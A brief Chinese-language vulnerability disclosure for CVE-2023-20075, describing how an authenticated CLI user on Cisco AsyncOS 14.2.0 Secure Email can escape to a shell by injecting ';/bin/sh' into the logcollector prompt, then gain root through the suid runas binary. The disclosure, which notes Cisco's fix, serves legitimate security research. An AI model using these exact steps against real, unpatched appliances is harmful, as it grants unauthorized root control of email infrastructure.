关于

安全研究员: ly1g3, ly1g3[at]tuta.io

GPG 指纹: https://keys.openpgp.org/vks/v1/by-fingerprint/5FE85CE4E8F675F5ABD2C0A33CE8BE447ED6D586

概述: 本地权限提升与 Shell 逃逸

CVE: CVE-2023-20075

时间线:

• 发现 - ly1g3
• 报告 - ly1g3
• 修复 - Cisco

Cisco AsyncOS 14.2.0

ESA (Cisco Secure Email)

权限提升 - cli 到 root shell

拥有 cli 访问权限的已认证用户可以提升权限至 root 并执行任意代码

获取 shell 的步骤

1. 在 cli 中运行命令 logcollector
2. 按 3
3. 输入值: 6;/bin/sh
4. 以用户身份获得 shell

获取 root 的步骤

1. 在 shell 中运行 suid 二进制文件 runas
2. /data/release/phoebe-14*/bin/runas 0 /bin/sh
3. 以 root 身份获得 shell